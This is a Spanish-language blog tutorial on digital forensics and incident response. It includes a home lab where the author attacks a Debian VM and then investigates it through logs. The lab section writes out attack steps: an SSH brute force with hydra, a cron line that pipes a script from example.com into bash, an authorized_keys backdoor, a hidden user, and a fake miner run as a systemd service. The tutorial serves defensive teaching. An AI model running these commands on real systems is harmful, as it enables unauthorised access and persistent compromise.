Seguro viste un montón de películas donde el hacker rompe todo, ve las cámaras de toda la ciudad, destruye un satélite en órbita y frena un ataque nuclear; todo desde su habitación en el zótano de la casa de sus padres… Y te habrás preguntado… Es así?, no lo pueden detectar?.

Bueno, esa no es la pregunta dificil. La pregunta dificil viene después que sabés que lo detectaron y que te hackeó:

Cómo lo hizo?.

Para responder esta y otras preguntas relacionadas existe DFIR, la rama de la ciberseguridad que se encarga del Análisis Forense!

Qué es DFIR?

En los últimos años, el término DFIR se volvió cada vez más común dentro del mundo de la ciberseguridad. A medida que los ataques informáticos se vuelven más sofisticados y frecuentes, las organizaciones necesitan no solo prevenir intrusiones, sino también investigarlas cuando ocurren.
Ahí es donde entra en juego DFIR.

DFIR combina dos disciplinas fundamentales: la respuesta a incidentes de seguridad y el análisis forense digital. Su objetivo es entender qué ocurrió durante un ataque, cómo ocurrió, qué impacto tuvo y cómo evitar que vuelva a suceder.
DFIR no es una sino dos disciplinas unidas: Digital Forensic and Incidente Response y tienen como objetivo detectar y responder ante incidentes de Ciberseguridad.

Incident Response (IR) tiene como objetivo detectar, contener y erradicar un ataque en curso y se hará preguntas como:

¿Qué está pasando?
¿El atacante sigue adentro?
¿Cómo lo frenamos?
¿Qué sistemas están comprometidos?

La parte de tu empresa o departamento que ejecute la respuesta ante incidentes conocerá bien la infraestructura completa de la red. Normalmente guiados por el CISO de la empresa o el Jefe de infraestructura y tecnología.
Suelen tener Playbooks para cada ataque o situación. Los playbooks son manuales o un conjunto de procedimientos y herramientas de como actuar o desplegar en situaciones específicas. Es normal tener un playbook para Ramsomware, otro para intrusión detectada, etc.

Digital Forensics (DF) es la investigación técnica posterior y responde otras tantas preguntas como:

¿Cómo entraron?
¿Qué vulnerabilidad explotaron?
¿Qué hicieron dentro del sistema?
¿Qué datos tocaron o robaron?
¿Cuánto tiempo estuvieron?

Acá el objetivo es otro: Reconstruir el ataque con evidencia técnica.

Ambos son desafíos tecnológicos y requieren mucho conocimiento.

En el medio tenés un montón de «Disciplinas» o «Técnicas» y equipos asociados para poder lograr estos objetivos. Seguro viste muchos de estos items en WAZUH como Threat Hunting, Malware Detection, etc.

DFIR Como Framework

La mayoría de los equipos DFIR siguen modelos estructurados de respuesta a incidentes.

Uno de los más conocidos es el ciclo de respuesta(y uno de los marcos normativos más rompe pelotas de implementar XD) del National Institute of Standards and Technology (NIST), que define cuatro fases principales:

1. Preparación

Antes de que ocurra un incidente, las organizaciones deben preparar:

herramientas de monitoreo
procedimientos de respuesta
planes de contingencia
backups
personal capacitado(la parte más dura quizás)

La preparación es crítica, porque una respuesta improvisada suele agravar los incidentes.

2. Detección y análisis

En esta fase se identifica la actividad sospechosa y se confirma si se trata de un incidente real o un falso positivo.

Las fuentes de detección suelen ser:

sistemas de monitoreo
SIEM
logs de servidores
alertas de antivirus o EDR
reportes de usuarios

Una vez detectado el incidente, comienza el análisis inicial para entender su alcance.

3. Contención, erradicación y recuperación

Acá se ejecutan las acciones para detener el ataque.

Las tareas pueden incluir:

aislar sistemas comprometidos
bloquear direcciones IP maliciosas
eliminar malware
cerrar vulnerabilidades
restaurar sistemas desde backups

El objetivo es recuperar la operación normal lo antes posible.

4. Lecciones aprendidas

Después del incidente se realiza un análisis completo para entender:

qué falló
qué controles faltaban
qué mejoras implementar

Esta fase es fundamental para fortalecer la seguridad futura.

Qué analiza un investigador DFIR

Durante una investigación, los analistas o la gente de TI examinan múltiples fuentes de evidencia digital que seguro no escapan a tu laburo diario.

Logs del sistema

Archivos de registro que muestran eventos importantes, como:

accesos al sistema
ejecución de comandos
instalación de software
conexiones de red

Sistemas de archivos

Se analizan:

archivos creados o modificados
binarios sospechosos
scripts maliciosos
artefactos de persistencia

Memoria RAM

Este es un poco más rebuscado pero el análisis de memoria puede revelar:

procesos maliciosos
conexiones de red activas
credenciales en memoria
malware residente

Tráfico de red

Para esta parte necesitas un IDS, IPS o un NGFW. Se investiga el tráfico para detectar:

comunicaciones con servidores de comando y control
exfiltración de datos
movimientos laterales dentro de la red

Desde ya que este tipo de analisis es muy técnico y la tenes que tener bastante clara para empezar a investigar pero no es algo de otro mundo.
Hay herramientas específicas para auditorías forenses. Entre las más conocidas tenés:
análisis forense

Autopsy
Sleuth Kit

análisis de memoria

Volatility
Rekall

análisis de timeline

Plaso
Timesketch

recolección de artefactos

Velociraptor
GRR Rapid Response

monitoreo y detección

Wazuh
SIEMs Pagos! (dos opciones nomás: la gratis y las pagas!)

Laboratorio

Pensé mucho en como encarar una práctica clara de DFIR. Si entras a cualquier sitio a jugar CTF vas a encontrar un montón de VMs de Ofensiva pero pocas de Defensiva. Sabiendo esto me propuse hacer un ataque a una VM en GNS3, en este caso un Debian, y después hacer el análisis de logs logs correspondientes. Esto es lo que salió.

El escenario está vez es super minimalista!!

Nuestro Debian va a correr un server web (apache2) y un server ssh(openssh). Y luego vamos a realizar unos ataques. La ip de nuestro server Debian es: 192.168.122.252

#Configuramos nuestro debian
sudo apt update && sudo apt install openssh-server apache2 -y
#Agregamos un usuario
sudo adduser alumno
#le vamos a poner una password sencilla del tipo: 123456
#Ahora vamos a darle al usuario alumno permisos sudo
sudo usermod -aG sudo alumno

Excelente. Ya tenemos el entorno vulnerable!. Esto no es un ataque real solo vamos a tratar de escribir los logs de nuestro servidor para que en un análisis parezca un ataque real.

Voy a tratar de ir rápido así que pondré en los comentarios lo que vamos a hacer.

#Ataque de fuerza bruta al ssh
hydra -l alumno -P /home/usuario/passwords/rockyou.txt ssh://192.168.122.252

Listo, acabamos de llenar los logs de acceso.

#Nos conectamos por ssh y dejamos unos logs por todos lados
ssh alumno@192.168.122.252

#Simulamos la descarga de algún exploit
wget http://example.com/tool.sh

#Vamos a dejar un virus persistente
crontab -e

#y escribimos
*/5 * * * * curl http://example.com/ping.sh | bash

#Editamos y ponemos nuestra clave para el acceso perpetuo
sudo nano ~/.ssh/authorized_keys

#Simulamos una escalada de privilegios
sudo usermod -aG sudo alumno
sudo -i

#Vamos a dejar un archivo sospechoso
mkdir /tmp/.cache
nano /tmp/.cache/miner.sh

#cargamos esto en nuestro archivo
while true
do
echo mining...
sleep 10
done
chmod +x /tmp/.cache/miner.sh

#Vamos a crear un usuario oculto por si nos descubren
sudo useradd backupsvc
sudo passwd backupsvc

#Vamos a instalar un servicio persistente
sudo nano /etc/systemd/system/update.service

#contenido
[Unit]
Description=System Update

[Service]
ExecStart=/tmp/.cache/miner.sh

[Install]
WantedBy=multi-user.target

#Dejamos el servicio andando
systemctl enable update

Bueno, ya tenemos un equipo comprometido

brute force SSH
login exitoso
sudo escalation
cron persistente
servicio systemd
malware en /tmp
usuario oculto

Ahora vamos a aplicar DFIR, pero antes de tocar nada debemos asegurarnos de mantener la evidencia tal cuál la encontramos.

Contención inicial (antes del forense)

Primero hay que evitar que el atacante siga operando.

Opciones:

Desconectar el servidor de la red
o bloquear salida a internet
o moverlo a una VLAN de cuarentena

Pero NO lo apagues todavía si querés análisis completo. La RAM puede tener evidencia.

Si el incidente es grave:

snapshot del VM
snapshot del disco
captura de RAM

Herramientas que podés usar:

LiME (Linux Memory Extractor)
AVML
dd o dcfldd para discos

Ejemplo:

dd if=/dev/sda of=/mnt/forensics/disk_image.dd bs=4M

Preservación de evidencia o Cadena de Custodia

Hay que copiar logs y archivos antes de que roten o se pierdan.

Directorio típico que copio entero:

/var/log
/home
/root
/etc
/tmp
/var/tmp
/var/spool

También:

/var/lib
/usr/local

Ejemplo:

tar czf logs.tar.gz /var/log

Empezamos con DFIR en nuestro equipo de pruebas!.

Analizando

Detectar brute force SSH

#intentos fallidos:
journalctl -t sshd | grep "Failed password"

#contar intentos:
journalctl -t sshd | grep "Failed password" | wc -l

#IPs atacantes:
journalctl -t sshd | grep "Failed password" | awk '{print $11}' | sort | uniq -c

Detectar login exitoso

grep "Accepted password" /var/log/auth.log

Ver sesiones

last

En este punto ya sabemos como entró y desde que ip. Ahora se nos va a hacer más sencillo buscar más info.

Ver uso de sudo

journalctl -t sshd | grep sudo

Buscar persistencia

crontab -l

Buscar servicios sospechosos

systemctl list-unit-files | grep enabled

Buscar malware en tmp

find /tmp -type f -executable

Buscar usuarios nuevos

cat /etc/passwd

comparar fechas.

Revisar historial

#Acá está la papa, todos los comandos ejecutados
cat ~/.bash_history

Revisar procesos

ps aux

Hasta acá todo lo que seguro ya usas en tu trabajo diario. Te dejo un checklist rápido que encontré en la red para tener presente.

Checklist rápido de compromiso Linux

Este checklist se usa mucho en incident response.

sesiones activas

conexiones

ss -antp

procesos raros

ps auxf

archivos recientes

find / -mtime -1

SUID sospechosos

find / -perm -4000

cron

ls -la /etc/cron*

Cómo detectar webshells en Apache

Y si alguien dejó una webshell en tu /var/www/html/?. Bueno, primero lo primero:

Buscar archivos nuevos:

/var/www/html

ejemplo:

find /var/www -mtime -1

Buscar funciones peligrosas en PHP:

shell_exec
system
exec
passthru

En la web oficial de SANS encontré este muy práctico CheatSheet.
https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/blt982ed30203b20003/5dfbaac458fc4a5aad8eb8e2/digital-forensics-incident-response-log2timeline-timeline-cheatsheet.pdf

Conclusiones…

Este documento no pretende ser exhaustivo sino motivar a buscar un poco más de información sobre la práctica digital forense. Dejé de lado muchas herramientas muy copadas pero es mucho para mencionar acá. Ojalá los empuje a indagar más!.

DFIR representa la evolución natural de la seguridad informática frente a amenazas cada vez más complejas. A pesar de que las soluciones en Ciberseguridad vienen cada vez más potentes nada te hace libre de un ataque.

Algo que me gustaría aclarar es que al detectar un equipo «comprometido» y empezar a trabajar en él, este equipo deja de ser confiable. Lo conservaremos para aplicar el análisis forense pero ya no puede estar más en producción: Ha sido comprometido.

Mientras que las soluciones tradicionales se enfocan en prevenir ataques, DFIR se enfoca en entenderlos, responder a ellos y aprender de cada incidente.

Buscando en internet encontré un repo gigante que me parece que es copado si querés empezar a investigar por estos rumbos.
https://github.com/adrianlois/DFIR-Detection-Engineering?tab=readme-ov-file

PorJeremías Palazzesi

Cómo lo hizo?.